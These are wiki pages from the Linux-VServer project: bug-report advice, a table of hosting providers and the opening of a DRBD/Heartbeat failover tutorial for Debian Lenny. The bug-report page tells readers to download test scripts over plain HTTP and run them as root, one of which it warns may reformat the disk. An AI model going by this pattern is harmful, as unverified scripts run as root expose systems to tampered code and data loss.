The people who are going to help you with a bug report are volunteers. Not only are you not paying them to help you, but nobody else is either. So, be nice to them. <br />
<br />
Beyond that golden rule, what follows are some additional tips on ways to make your bug report better so that someone will be able to help you.<br />
<br />
=== Basics: what you did, what you wanted to happen, and what actually happened. ===<br />
<br />
Those are the three basic elements of a bug report. You need to tell us exactly what you did (for example, "I right-clicked on "make happy meal"), what you expected to have happened (to continue the example, "I expected the kernel to serve me a happy meal with a hamburger and onion rings"), and what actually happened ("It gave me a happy meal with french fries.").<br />
<br />
Yes, the example is silly. But if your bug report simply said "The make_happy_meal function doesn't work," you will very likely get a reply saying "It works fine for me", because we can't guess what you were expecting to happen. By giving all the information you might get a reply like "That's because you can't have onion rings in a happy meal, you can only have french fries or curly fries." By telling us what you asked for, what you expected to get, and what you actually got, we don't have to guess what you mean.<br />
<br />
=== Useful information ===<br />
<br />
The following list gives an overview of information useful in bug reports. Note that you don't have to submit all information listed below, but you should do as long as it helps to discover the root of all evil.<br />
<br />
* One line summary of the problem<br />
* Full description of the problem<br />
* Kernel version (from /proc/version)<br />
* Output of test scripts (see below)<br />
* Output of the Oops.. message (if applicable) with symbolic information resolved (see Documentation/oops-tracing.txt in the kernel source)<br />
* A small shell script or example program which triggers the problem (if possible)<br />
* Processor information (from /proc/cpuinfo)<br />
* Module information (from /proc/modules)<br />
* Other information that might be relevant to the problem<br />
* Other notes, patches, fixes, workarounds<br />
<br />
=== Test scripts ===<br />
<br />
To ensure that your (VServer) setup works we have created two small test scripts. The testme.sh script ensures basic functionality whereas the testfs.sh script is for inode attribute testing for various filesystems.<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testme.sh<br />
<br />
# make it executable<br />
chmod +x testme.sh<br />
<br />
# become root<br />
su<br />
<br />
# run the test script<br />
./testme.sh<br />
</pre><br />
<br />
'''Be careful! The testfs.sh script might easily reformat your hard disk :)'''<br />
<br />
<pre><br />
# get the script<br />
wget http://vserver.13thfloor.at/Stuff/SCRIPT/testfs.sh<br />
<br />
# make it executable<br />
chmod +x testfs.sh<br />
<br />
# make a loopback file<br />
dd bs=1024k count=1024 if=/dev/zero of=1gb.testfile<br />
<br />
# become root<br />
su<br />
<br />
# setup the loopback<br />
losetup /dev/loop0 1gb.testfile<br />
<br />
# run the test script for new-style config<br />
./testfs.sh -t -x -y -z -D /dev/loop0 -M /mnt<br />
</pre><br />
<br />
Attach the output of these two scripts to your bug report.<br />
<br />
'''If you need to figure out which line of code is causing an OOPS/RIP, the following script will parse your dmesg and output the lines and addresses formatted as shown below:'''<br />
<pre><br />
#!/bin/bash<br />
# output looks like: ffffffff80502a23:/usr/src/linux-2.6.25-vs/net/ipv4/raw.c:936<br />
# only arg is path to vmlinux (/usr/src/linux/vmlinux)<br />
CMD=`dmesg | egrep '<[[:xdigit:]]{16}>' | sed -r -e 's,^[^<]+?<,,g' -e 's,>[^<]+?<, ,g' -e 's,>.*$,,g'`<br />
if [ ${1} ]; then<br />
for i in ${CMD}; do echo -n $i: && addr2line -e $1 $i;done<br />
else<br />
echo please give me the path to your vmlinux<br />
fi<br />
</pre><br />
<br />
== Where to send bug reports? ==<br />
<br />
Bug reports should be submitted to the mailing list or directly to one of our developers in IRC.<br />
<br />
See the [[Communicate]] page to learn how to use the mailing list and/or IRC.</div>Daniel hozachttp://svn.linux-vserver.org/VServer_HostingVServer Hosting2010-10-03T09:21:58Z<p>Daniel hozac: Reverted edits by 87.174.179.69 (Talk) to last revision by 79.231.93.94</p>
<hr />
<div>Here is a list of '''Companies''' utilizing '''Linux-VServer''' technology '''for Hosting'''...<br />
<br />
{| class="wikitable" style="width: 97%"<br />
! style="width: 25%" | Company <br />
! rowspan="2" | Description<br />
|-<br />
| Location<br />
|-<br />
<br />
! [http://www.gigatux.com GigaTux ]<br />
| [https://www.gigatux.com/virtual.php Virtual Private Servers]<br />
* Linux VPSs based in Maidenhead, near London, UK<br />
* Offers Debian Etch 2.6.18 Xen and Vserver kernel as a standard install option<br />
* Also allows users to use custom kernels<br />
* Users have commented on the stability of the Etch VServer kernel<br />
|-<br />
| Location - United Kingdom <br />
|-<br />
<br />
! [http://www.lvpshosting.com LVPSHosting USA and UK ]<br />
Virtual Private Server <br />
| [https://www.lvpshosting.com/vpshosting.html]<br />
* Cluster systems in USA and UK(available in public soon)<br />
* Virtual Private Servers<br />
* CentOS 4, CentOS 5, Fedora 10, Fedora 11, Fedora 12, Ubuntu 8.04 LTS, Ubuntu 9.04, Debian Etch, Debian Lenny<br />
<br />
* We have VPS starting from $18.85 (the cheapest you will get)<br />
* Use Code 55CUT (at checkout) to get 55% less for your first month.<br />
* Everything from mainstream adult allow, monitoring systems Nagios and Cacti, application hosting, blog hosting<br />
* Costume VPS's available <br />
|-<br />
<br />
|-<br />
| Location - Canada<br />
|-<br />
! [http://www.danec.net DANEC Germany]<br />
Virtual Server Cluster Services<br />
| [https://www.danec.net/customer DANEC Orderpanel]<br />
* Cluster systems in Nuremberg and Frankfurt<br />
* KVM and OpenVZ systems avaiable<br />
* Virtual PBX systems<br />
* Debian, CentOS and Unbutu avaiable<br />
<br />
* We have expanded our CoLocation services with<br />
* VPS servers avaiable from 5 euro per month<br />
|-<br />
|-<br />
! [http://rentahost.ch Switzerland]<br />
Virtual Cluster Hosting<br />
| [http://rentahost.ch rentAhost.ch]<br />
* fully virtualized environment<br />
* Build upon our own hardware production<br />
* Using our wonderfull stable Linux Distribution [http://weblinux.ch WebLinux]<br />
<br />
* We offer specialized and stable Linux VServer Solutions<br />
* flexible on its most, if needed, stable as rock<br />
<br />
* [http://prounix.ch proUnix.ch] - Consultant - Borovcnik Peter<br />
|-<br />
|-<br />
! [http://www.dreamhostps.com/ DreamHost P.S.]<br />
| rowspan=2 |<br />
* Debian servers<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
|-<br />
| Los Angeles, California, USA<br />
|-<br />
! [http://www.wessexnetworks.com Wessex Networks]<br />
| rowspan=2 |<br />
* Linux VServer Dedicated Managed Virtual Servers<br />
* Debian-based / dedicated IP address<br />
* RAID Storage, Additional Backup, 100Mbit Burst<br />
* Host servers at [http://www.telecityredbus.com/uk/manchester Telecity Redbus Manchester]<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.datakompaniet.no DataKompaniet]<br />
| rowspan=2 |<br />
* We offer affordable Linux VServers on a 100Mbit fiber Internet connection<br />
* Gentoo based / firewalled / 2.6 kernel / private or (optional) public IP<br />
* VServers have been offered since 2004<br />
* Host servers are RAID5 equipped, and have historically had extremly good uptimes<br />
* Host servers are located in a professional server room, in the same building as Uninett Norid (Norway's TLD (.no) Registry)<br />
|-<br />
| Norway<br />
|-<br />
! [http://lylix.net LYLIX]<br />
VPS Hosting<br />
| rowspan=2 |<br />
* Virtual private servers based on '''2.6 kernel and 2.2.0 VServer'''.<br />
* Several different userlands are available in 32 and 64 bit, including '''Gentoo, Debian, Slackware, Fedora Core, CentOS, Arch Linux, OpenSuSE'''.<br />
* Custom images also accepted!<br />
* '''Asterisk PBX and Trixbox supported''', including Meetme, MOH, and IAX.<br />
* '''Three regional datacenter locations''': Northeast, West, and South USA.<br />
* Each primary host backed by secondary host via '''high-availability data replication''' for emergency recovery<br />
* '''"Dedicated" VPS service''' available for guaranteed minimum CPU<br />
* Comprehensive customer portal w/ VPS management and statistics<br />
|-<br />
| United States of America<br />
|-<br />
! [http://www.sns.ro SNS] <br />
System & Network Solutions<br />
| rowspan=2 |<br />
* We are using vservers in most of our setups and on hundreds of servers that offer public services - such as web, mail, dns, sql. <br />
* We also do local evangelisation for the project (just because it kicks ass). <br />
|-<br />
| Romania<br />
|-<br />
! [http://netflow.ru Sky Media]<br />
| rowspan=2 |<br />
|-<br />
| Russia<br />
|-<br />
! [http://acewebhosting.com Ace WebHosting]<br />
| rowspan=2 |<br />
* We provide affordable virtual private servers. We also use vservers for shared hosting.<br />
|-<br />
|<br />
|-<br />
! [http://www.tpg.com.au TPG Internet]<br />
| rowspan=2 |<br />
* Currently using vservers for providing Gaming services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.expio.co.nz EXPIO Communications]<br />
| rowspan=2 |<br />
* Specialising in Linux Virtual Server hosting solutions.<br />
* Running the FreeVPS platform, which is based on linux-vserver, integrated with H-Sphere control panel.<br />
* Providing virtual server hosting since 1998.<br />
|-<br />
| New Zealand<br />
|-<br />
! [http://www.hostix.it HostiX]<br />
| rowspan=2 |<br />
* Italian hosting provider has been offering the service since the early versions of vserver.<br />
* Currenly using the stable version but has beta program for the new 2.6 kernels.<br />
* High availability vservers on request too.<br />
|-<br />
| Italy<br />
|-<br />
! [http://www.virtualinfrastructure.nl Virtualinfrastructure.nl]<br />
| rowspan=2 |<br />
* Dutch consultancy and development company LinIT Technologies started a site about Linux vserver technology, also offering consultancy and support for Vserver.<br />
|-<br />
| The Netherlands<br />
|-<br />
! [http://www.virtuaserver.com.br VirtuaServer]<br />
| rowspan=2 |<br />
* Affordable virtual private servers in Brazil.<br />
* The first company in Brazil to introduce vserver hosting.<br />
* We offer our customers an exclusive control panel which allows them to monitor their servers, easily setup firewall rules and backup their data.<br />
* Running kernel 2.6 and hosting Debian, Fedora, Mandrake, Slackware, Conectiva and CentOS virtual servers.<br />
|-<br />
| Brazil<br />
|-<br />
! [http://www.neoisis.net www.neoisis.net]<br />
| rowspan=2 |<br />
* Internet service infrastructure and hosting: domain names, web sites, email systems, virtual servers. Bulk delivery for resellers. Custom-made solutions developed in cooperation with the client.<br />
* Planning and strategy for ICT organization and leadership.<br />
* Research and analysis.<br />
* Tailored systems and programming services. Functional analysis, testing, debugging.<br />
* Usability.<br />
* General ICT consulting.<br />
* Linux-VServer -based virtual servers available with several different distributions.<br />
|-<br />
| Finland<br />
|-<br />
! [http://www.prosite.de/v_server/virtual_server_uebersicht.html Prosite V-Server]<br />
| rowspan=2 |<br />
* High performance v servers on systems with constant performance monitoring<br />
* Leistungsfähige virtuelle Server mit ständiger Performance-Überwachung<br />
* Guaranteed and scalable CPU and RAM use<br />
* Web-based and automated v server administration<br />
* Online web-based VServer configuration tools (image setup, Backup, Rescue)<br />
|-<br />
| Germany<br />
|-<br />
! [http://webhosting.lycos.co.uk/expert/comparevds/ Lycos Europe]<br />
| rowspan=2 |<br />
* active cooperation with VServer project since 2004<br />
* High performance and quality VDS Solutions based on Linux-VServer Technology<br />
* low prices and free trials<br />
* Web Administration panel to monitor and use main functions of your Vserver<br />
* Control Panel to monitor your account data etc.<br />
* Hosted in professional certified datacenter in Germany<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.v-server.cz/ FinalTek.com]<br />
| rowspan=2 |<br />
* Linux kernel 2.6 based vservers / Dual Intel P4 or Xeon platform.<br />
* Providing payed vserver hosting. Starting from 9 EUR per month.<br />
* Distributions: Debian, Centos, Redhat, Fedora, Ubuntu and others on demand.<br />
* Start specs: 400MHz CPU, 192MB RAM, 5GB HDD space, unlimited traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.vserver-hosting.cz/ vServer-Hosting.cz]<br />
| rowspan=2 |<br />
* Linux kernel 2.6<br />
* Intel Xeon platform<br />
* Distributions: Debian, Ubuntu and others<br />
* Unlimited traffic<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.ikse.net Ikse]<br />
| rowspan=2 |<br />
* Ikse provide Virtual Dedicated Server on Debian and Fedora Core, empty, or with a free 'hosting pack'.<br />
* Convert your existing "real Linux server" to Ikse Virtual Dedicated Server is also possible.<br />
|-<br />
| France<br />
|-<br />
! [http://www.odsol.com ODSOL Premium Web Hosting]<br />
| rowspan=2 |<br />
* We specialise in [http://www.odsol.com ecommerce hosting] using virtual private server technology.<br />
* We offer both Linux-vserver [http://www.odsol.com/virtual_private_server/ virtual dedicated server] and Virtuozzo based [http://www.odsol.com/virtual_private_server/ virtual private server], Cpanel and DirectAdmin control panel included.<br />
|-<br />
|<br />
|-<br />
! [http://www.ip-cracks.ch ip-cracks GmbH]<br />
| rowspan=2 |<br />
* We offer Linux-VServers in different flavours to our customers. The product range starts with the Sandbox Private for residential customers up to the Sandbox Pro for business customers with high expectations. We have a set of new products in the queue which have a strong focus for the small and medium business companies as for an example a centralised DMS. Many services are based on the Linux-vServer technology.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.acox.de/ ACOX Corporation]<br />
| rowspan=2 |<br />
* ACOX Corporation offers low-cost virtual servers based on the linux-vserver.org project.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.winprofi.de/ WINPROFI]<br />
| rowspan=2 |<br />
* WINPROFI offers cheap virtual servers situated in Munich, Germany.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.studio-51.net/ Studio 51]<br />
Internet Solutions<br />
| rowspan=2 |<br />
* Studio 51 offers virtual servers based on the linux-vserver.org project.<br />
|-<br />
|<br />
|-<br />
! [http://www.conexim.com.au/ Conexim web hosting]<br />
| rowspan=2 |<br />
* Australian quality hosting company offering general hosting, virtual-servers and dedicated, managed hosting services.<br />
|-<br />
| Australia<br />
|-<br />
! [http://www.liquidweb.com Liquid Web Inc.]<br />
| rowspan=2 |<br />
* Liquid Web uses linux-vserver to offer CPanel based hosting services. <br />
* We service hundreds of clients running linux-vserver in our Datacenter located in Lansing, Michigan (USA.)<br />
|-<br />
|<br />
|-<br />
! [http://www.electronicbox.net Electronicbox Communications]<br />
| rowspan=2 |<br />
* We are using Linux-VServer since 2001 and have test it under high load for mission critical services and Linux-VServer was definitively the best software.<br />
* We are providing secure environment with vserver to companies around the world who look for always online servers.<br />
* This is very important for us to have a good software who can process the high load of data we are having daily on the network.<br />
|-<br />
|<br />
|-<br />
! [http://www.openhosting.com/ OpenHosting, Inc.]<br />
| rowspan=2 |<br />
* Inexpensive VServer-based Virtual Servers.<br />
* Sponsors of the [http://www.openvps.org/ OpenVPS] project.<br />
* Now using kernel 2.6 and vserver 1.9.x!<br />
|-<br />
|<br />
|-<br />
! [http://www.dievo.org/ Digital Evolution] <br />
(wargames.unix.se)<br />
| rowspan=2 |<br />
* Digital Evolution is the largest wargaming-site on the net, content-wise.<br />
* We use vserver for all wargames (more than a dozen right now) and all other services as well.<br />
* The stability, ease of use and performance is unrivaled, migrating our servers to vserver is most definately one of the best decisions we've ever made. It happily serves all people (who, after all, try to break our security) logged in on our shellbased wargames and shells out hunderedes of thousands connections to other services each day.<br />
|-<br />
| Sweden<br />
|-<br />
! [http://www.nine.ch/ Nine Internet Solutions AG]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* We provide [http://nine.ch/vserver/ vServer] with own IP adress. Optionally you can choose between OpenSUSE, Fedora, Ubuntu, Gentoo or CentOS and 32bit. <br />
* On request we install LAMP with Apache, MySQL and PHP as well as ispCP as control panel. <br />
* 70 Dual-Xeon machines with several GB RAM running with Debian Lenny 64bit and linux-vserver-kernel.<br />
* We use VServer as an alternative between the shared webhosting and (managed) dedicated server.<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://vps.at clusterhosting mit system]<br />
| rowspan=2 |<br />
* highavailable vps-servers on cluster<br />
* linux solutions - system, analyse & programming<br />
* docu & infos: http://vps.at<br />
* running 3 machines ( Poweredge 4x400 / 4 gb Ram )<br />
* #-> Linux pe-6300-3 2.6.18-1.2849.fc6.vs2.0.2.1 SMP<br />
|-<br />
| Austria<br />
|-<br />
! [http://AcornHosting.net Acorn Hosting]<br />
| rowspan=2 |<br />
* Running 6 machines (Mostly P4 2GHz) with vservers, various kernel versions. Since Jul '02.<br />
* Customers love vservers because they can run any software version in them, instead of getting stuck with mychoices.<br />
|-<br />
|<br />
|-<br />
! [http://www.tu-braunschweig.de/rz/services/sys/divdienst/vserver TU Braunschweig]<br />
Rechenzentrum <br />
| rowspan=2 |<br />
* Running two machines, mainly webserver for customers from inside the university.<br />
* One additional machine for a number of services i refuse to run on standalone machines because it is wasted cpu-power.<br />
* One machine for various tests and future developements.<br />
|-<br />
| Germany<br />
|<br />
|-<br />
! [http://www.lunarix.de LUNARIX]<br />
| rowspan=2 |<br />
* LUNARIX offers high quality hosting, including:<br />
* Colocation, Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, Webspace, Gameserver, Domains.<br />
* We also setup / implement HA (high availability) cluster and load-balacing solutions.<br />
|-<br />
|<br />
|-<br />
! [http://www.wwip.de W)W)ip High Quality Network]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Offering PBVSC PHP Based Interface to administrate the vservers - PBVSC is back!<br />
* Running since Nov. 2003 stable (Various versions, first we started with vs1.0 now we have 1.22 and kernel 2.4.24 running stable)<br />
* We use VServer too as an alternative between the shared webhosting and serverhousing or rent dedicated server. Customers need a flexible and stable server surroundings and vserver from this projekt is the best we seen out there. Support and community plays hand in hand, not as any commercial products out there. Any other system servers are now in his own vserver on only one big server and it works great. Lower costs on server and therefore lower IT costing. Our IT leader and IT employee in private surroundings, test and use vserver with enthusiasm ;)<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.traffic4all.com Traffic4All.com]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Server: AMD Athlon(tm) XP 2800+ - 1,5 GB DDR Ram<br />
* Linux t4a3 2.4.23-vs1.22 #12 Thu Jan 1 16:11:12 CET 2004 i686 AMD Athlon(tm) XP 2800+ AuthenticAMD GNU/Linux<br />
|-<br />
|<br />
|-<br />
! [http://www.infoteck.qc.ca Infoteck Internet]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Servers: Multiple HP LH4 (4 x XEON) and LH6000 (6 x XEON) w/ 4Gb RAM per servers.<br />
* 1.2Tb of shared storage (RAID50)<br />
* Backbone: 2 x 100Mbps backbone (Dual homing/BGP)<br />
|-<br />
| Turkey<br />
|-<br />
! [http://www.natro.com Natro Web Hosting Services]<br />
| rowspan=2 |<br />
* Offering secure Virtual Dedicated Server environments on Debian & Ubuntu hosts with several choices of guests including control panel integration<br />
* Also providing linux hosting services on linux-vserver powered servers<br />
* Clustering of mission critical services<br />
|-<br />
|<br />
|-<br />
! [http://www.omnis.com.tr Omnis Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers, it gives extra security and managment for us.<br />
* It is life saver product.<br />
|-<br />
|<br />
|-<br />
! [http://www.zylon.net/ Zylon Internet Services]<br />
| rowspan=2 |<br />
* We use it on our hosting servers to provide an extra layer of security for our customers.<br />
* We do not provide full vservers, we only provide 'standard' webhosting facilities.<br />
|-<br />
|<br />
|-<br />
! [http://www.isp4p.net ISP4P]<br />
| rowspan=2 |<br />
* see also http://www.isp4player.net<br />
* Allround ISP 4 Professionals<br />
* Dedicated Server, Tower Housing, 19" Housing, Webhosting, vServer, vServer Reselling, Domains<br />
|-<br />
|<br />
|-<br />
! [http://www.rootbash.com Nauck IT KG]<br />
(rootbash.com)<br />
| rowspan=2 |<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.star-hosting.de Star-Hosting]<br />
| rowspan=2 |<br />
* see also http://www.vserver4free.de<br />
* Get dedicated Servers, vServers and many more services with a very high traffic-contingent!!<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.planet-lab.org/ PlanetLab]<br />
| rowspan=2 |<br />
* PlanetLab is an open, globally distributed platform for developing, deploying and accessing planetary-scale network services.<br />
* PlanetLab nodes support both short-term experiments and long-running network services.<br />
* To date, more than 200 research projects at top academic institutions have used PlanetLab to experiment with such diverse topics as distributed storage, network mapping, peer-to-peer systems, distributed hash tables, and distributed query processing. See http://www.planet-lab.org/ for more details.<br />
|-<br />
|<br />
|-<br />
! [http://www.dsvr.co.uk/ Designer Servers Ltd]<br />
| rowspan=2 |<br />
* Offering effective Linux vserver-protected hosting to web professionals in the UK and beyond.<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.rosehosting.com Rose Web Services L.L.C.]<br />
| rowspan=2 |<br />
* Founded in April 2001, located in St. Louis, Missouri, USA, Rose Hosting provides all kinds of hosting solutions, including [http://www.rosehosting.com Linux VPS Hosting], based on Linux-VServer Technology.<br />
|-<br />
| USA<br />
|-<br />
! [http://sandino.net/ Sandino Networks]<br />
| rowspan=2 |<br />
* Offering VServers to customers<br />
* Dual core servers hardened with GR Security <br />
* Choice of different operating systems: Gentoo, CentOS, Debian, Ubuntu, Slackware, Fedora....<br />
* Choice of different vserver sizes<br />
|-<br />
| México<br />
|-<br />
! [http://www.turnkeyinternet.net TurnKeyInternet.NET]<br />
| rowspan=2 |<br />
* Coast to Coast Datacenter replicated Linux Virtual Private Server packages that are fully mirrored providing 100% uptime.<br />
* Packages include fully managed service and support.<br />
|-<br />
|<br />
|-<br />
! [http://vlinux.biz vlinux.biz]<br />
| rowspan=2 |<br />
* vservers with RAID1/QuadCore/8GB host (512MB guaranteed)<br />
* multihomed location in germany with 4x 1 Gbit uplink.<br />
* Starting with 11.90 EUR / month for a 40GB Raid1 disk, 100 GB traffic p.M. with Gbit Connection (1 IP)<br />
* this ISP also offers a large variety of [http://www.smart-weblications.de/rootserver/ root servers] and also offers server homing.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.cityservers.net/ CityServers.Net]<br />
Dedicated Servers<br />
| rowspan=2 |<br />
* Offering dedicated servers and economic Fedora vServers hosting to IT professionals in the EU.<br />
* Packages include fully managed service and support.<br />
|-<br />
| Poland<br />
|-<br />
! [http://www.vps2go.com/ VPS2GO]<br />
| rowspan=2 |<br />
* Currenly using the stable version but will be upgraded to new 2.6 kernel + vs2.0 soon. <br />
|-<br />
| Japan<br />
|-<br />
! [http://www.net-lab.net net-lab] <br />
vserver/web-hosting<br />
| rowspan=2 |<br />
* Currently run our first testing host on kernel 2.6 + vs2.0 is running. Server Location: Frankfurt, near DE-CIX.<br />
* Commercial offer for vserver accounts soon available.<br />
|-<br />
| Germany<br />
|-<br />
! [http://www.stepping-stone.ch stepping stone GmbH]<br />
| rowspan=2 |<br />
* Our whole ISP infrastructure (Mail, Web, Directories, ...) is built upon the 2.0 vServer series on the 2.6 Linux kernel, running Gentoo Linux.<br />
* We provide [http://www.stepping-stone.ch/en/products/vserver/linux-vserver-starter/ Gentoo and Debian vServers].<br />
* iptables/netfilter rules are implemented free of charge on the carrier as part of our service.<br />
* As a speciality, you can run [http://www.asterisk.org/ Asterisk] in our vServers! <br />
* Furthermore we're specialized in providing high availability solutions in combination with [[Welcome_to_Linux-VServer.org|Linux VServer]] and [http://www.drbd.org/ DRBD].<br />
|-<br />
| Switzerland<br />
|-<br />
! [http://www.vroutix.com vRoutix]<br />
| rowspan=2 |<br />
* Offering kernel 2.6 Vservers in Argentina. Compaq Xeon/Sun Ultrasparc Servers (with Raid1).<br />
* Very affordable prices.<br />
* Starter: Very low price !<br />
* Lite: Low end users<br />
* Standard: small bussiness<br />
* Pro: mid-size bussiness<br />
* Control panel to monitor your vServer performance, processes, storage, traffic, account data, etc.<br />
* vServers demo accounts for Free. Try out one of our vServers !!!.<br />
* Now with iptables support inside your vServer !!!<br />
|-<br />
| Argentina<br />
|-<br />
! [http://www.mpexnetworks.de MPeXnetworks] <br />
MPeX.net GmbH<br />
| rowspan=2 |<br />
* High performance virtual servers on RAID1 Hosts<br />
* Leistungsfähige virtuelle Server für Ihr Unternehmen.<br />
* MPeXnetworks is offering three vserver packets.<br />
* Our systems have a low customer density, resulting in more power for everyone.<br />
* Nagios monitoring and free e-mail notification is included.<br />
* All VServer offers include a 30 day money-back-guarantee.<br />
|-<br />
| Berlin/Germany<br />
|-<br />
! [http://www.sentiensystems.com SentienSystems]<br />
| rowspan=2 |<br />
* High performance, quality, and secure Virtual Private Servers<br />
* SentienSystems(.com/.net) proudly utilizes and promotes open source software such as Linux-VServer on the secure and performance-intensive Gentoo Linux platform.<br />
|-<br />
| Austin, Texas, USA<br />
|-<br />
! [http://new.pipni.cz/vindex.phtml PIPNI s.r.o]<br />
| rowspan=2 |<br />
* Linux 2.6 Vservers on Intel Xeon platform<br />
* Providing free and payed vServer hosting. Freehosting has no guarantee, payed are guaranted.<br />
* You can select from Slackware, Gentoo or Debian hosting.<br />
* Freehosting specs: 333 MHz CPU, 128 MB RAM, 2 GB HDD space, 10 GB traffic.<br />
|-<br />
| Czech Republic<br />
|-<br />
! [http://www.croup.de croup.de]<br />
crossmedia solutions<br />
| rowspan=2 |<br />
* We provide individual VServer installations for our customers in Germany using Gentoo Linux.<br />
|-<br />
| Germany<br />
|-<br />
! [http://hosting.media72.co.uk Media72 hosting]<br />
| rowspan=2 |<br />
* Red Hat Enterprise Linux solutions<br />
* We provide custom hosting solutions starting from £2.08 a year. Virus and spam protection as standard on all accounts.<br />
<br />
|-<br />
| United Kingdom<br />
|-<br />
! [http://www.centrodedatos.com Centrodedatos]<br />
Dedicated Servers / Colocation / Housing<br />
| rowspan=2 |<br />
* Dedicated Servers and Server Clusters based on Linux VServer. Totally personalized solutions.<br />
* Servidores Dedicados y Clusters de Servidores basados en Linux VServer. Soluciones a medida.<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.condalis.es Condalis]<br />
VPS and Shared Hosting<br />
| rowspan=2 |<br />
* Centos, Debian, Fedora, Gentoo, Mandrake, Redhat, Slackware, Suse, Ubuntu in your VPS Linux-VServer to web professionals in Spain.<br />
* Centos 5 + WHM/Cpanel + RVSkin + Fantastico available for Hosting resellers!<br />
<br />
|-<br />
| Spain - Barcelona.<br />
|-<br />
! [http://www.upfrontsystems.co.za/hosting/ploneserver Upfront Systems]<br />
| rowspan="2" |<br />
* Servers in Germany and South Africa<br />
* Debian stable hosts based on linux vserver<br />
* Dedicated (but not limited to) Zope and Plone hosting<br />
<br />
|-<br />
| South Africa<br />
|-<br />
! [http://www.notjusthosting.com NotJustHosting]<br />
NotJustHosting<br />
| rowspan="2" |<br />
* Servers in Germany<br />
* Debian stable hosts based on linux vserver, individual solutions<br />
* Fully managed and self-managed packages<br />
* Ruby on Rails, Zope<br />
|-<br />
| Germany - Berlin<br />
|-<br />
! [http://vege.net/vserver vege.net GmbH]<br />
web-hosting / vserver <br />
| rowspan="2" |<br />
* Linux VServer hosting including OpenVCP, DRBD, LVM snapshots<br />
* Servers located in Germany<br />
|-<br />
| Germany - Bremen<br />
|-<br />
<br />
! [http://www.netcup.de/vserver/ netcup vServer]<br />
| rowspan=2 |<br />
* Guaranteed CPU and RAM availability<br />
* Web-based account administration<br />
* On-the-fly web-based VServer configuration tools<br />
* Prepared Images with SysCP or Confixx<br />
* Rescue-System<br />
* Firewall<br />
* Backup- / Snapshot-System (Backup / Restore per Click)<br />
|-<br />
| Germany - Karlsruhe<br />
|-<br />
<br />
! [http://www.vserver.si Vserver.si]<br />
| rowspan="2" |<br />
* Virtual Private Servers<br />
* Managed Servers<br />
* Hosting<br />
* Domain registration<br />
* Colocation<br />
<br />
|-<br />
| Slovenia<br />
|- <br />
<br />
! [http://www.alvotech.de/vserver/ Alvotech GmbH - vServer]<br />
| rowspan=2 |<br />
* Guaranteed RAM and CPU availability<br />
* Fully Online administration<br />
* On-the-fly web-based VServer configuration tools <br />
* Prepared Images with Confixx<br />
* Firewall<br />
|-<br />
| Germany - Düsseldorf<br />
|-<br />
<br />
|}</div>Daniel hozachttp://svn.linux-vserver.org/Getting_high_with_lennyGetting high with lenny2010-02-20T00:33:35Z<p>Daniel hozac: </p>
<hr />
<div>== Getting High with Lenny ==<br />
<br />
The aim here is to set up some high available services on Debian Lenny (at this moment October 1st still due to be released)<br />
<br />
<br />
There is a lot of buzz going on for a while now about virtualisation and High Availability and while Vserver is very well capable for this job the number of documented examples compared to some other virtualisation techniques are a little lacking so i thought i'd do my share. <br />
<br />
I prefer to use Vserver for the "virtualisation" because of its configurability, shared memory and cpu resources and basically the raw speed.<br />
DRBD8 and Heartbeat should take care of the availability magic in case a machine shuts down unexpectedly.<br />
In my experience it takes a few seconds to have several Vservers fail over to another machine with this setup.<br />
<br />
The main attempt here is to give a single working example without going to much in to the details of every option, the scenario is relatively simple but different variations can be made.<br />
<br />
For this set up we will have <br />
<br />
<blockquote><br />
*2 machines <br><br />
*both machines have 1 single large DRBD partition <br> <br />
*primary/seconday there is always 1 machine active and 1 on standby <br><br />
*1 LVM partition per Vserver on top of the DRBD partition, for quota support from within the guest and LVM snapshots<br />
*the Vservers /etc/vserver and /var/lib/vservers directories will be placed on the DRBD partition. <br><br />
</blockquote><br />
<br />
In case the main machine that runs the Vservers goes down, the synchronized second machine should take over and automatically start the Vservers.<br />
<br />
Basically this is an on-line RAID solution that can keep your services running in case of hardware failure, it is NOT a back-up replacement.<br />
<br />
The cost for this setup is that you always have 1 idle machine standby, this cost can be justified by the fact that Linux-Vserver enables you to make full use of the 1 machine that is running, you also could consider to run this on a little less expensive (reliable) hardware.<br />
<br />
Also note that i will be using R1 style configuration for heartbeat, R1 style can be considered to be depreciated when using Heartbeat2 but i could not get my head around the R2 xml configuration, so if you want R2 you might want to have a look here.<br />
[[Fail-over]])<br />
<br />
The partitioning looks as follows<br />
<br />
<code> <br />
c0d0p1 Boot Primary Linux ext3 10001.95<br />
c0d0p5 Logical Linux swap / Solaris 1003.49<br />
c0d0p6 Logical Linux 280325.77<br />
<br />
</code><br />
<br />
<br />
<blockquote><br />
'''machine1''' will use the following names. <br><br />
*hostname = node1 <br> <br />
*IP number = 192.168.1.100<br><br />
*is primary for r0 on disk c0d0p6 <br><br />
*physical volume on r0 is /dev/drbd0 <br><br />
*volume group on /dev/drbd0 is called drbdvg0 <br><br />
</blockquote><br />
<br />
<blockquote><br />
'''machine2''' will use the following names. <br><br />
*hostname = node2 <br><br />
*IP number = 192.168.1.200 <br><br />
*is secondary for r0 on disk c0d0p6 <br><br />
<br />
